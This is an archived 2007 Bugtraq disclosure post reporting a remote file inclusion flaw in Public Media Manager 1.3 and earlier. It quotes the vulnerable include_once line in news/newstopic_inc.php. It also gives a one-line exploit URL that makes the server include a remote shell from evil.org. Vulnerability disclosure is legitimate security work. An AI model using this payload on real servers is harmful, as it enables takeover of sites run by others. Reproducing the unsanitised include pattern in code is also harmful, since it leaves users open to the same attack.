bugtraq - Public Media Manager <= 1.3 Remote File Inclusion Vulnerability

lists.openwall.net		lists / announce john-users owl-users popa3d-users / xvendor oss-security / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4
Open Source and information security mailing list archives

This website is powered by Openwall GNU/*/Linux security-enhanced OS

[<prev] [next>] [month] [year] [list]

Date: 29 Sep 2007 06:08:03 -0000
From: 0in.email@...il.com
To: bugtraq@...urityfocus.com
Subject: Public Media Manager <= 1.3 Remote File Inclusion Vulnerability

#f0und bY 0in
#Contact: 0in.email@...il.com
#Download:http://pmm-cms.sourceforge.net/
#Greetings to:All Dark-Coders team #members:Die-angel,Slim,Umbro
#and other friends #Joker186,Artysta,Kaja,Wojto111,Rade0n 
BUG:
news/newstopic_inc.php:2:if (!empty($indir)) include_once ($indir)."/newsdb/config.php";

Expl0it:
http://x.com/[path]/news/newstopic_inc.php?indir=http://evil.org/shell.txt?

Orginal first post & exploit: http://milw0rm.com/exploits/4465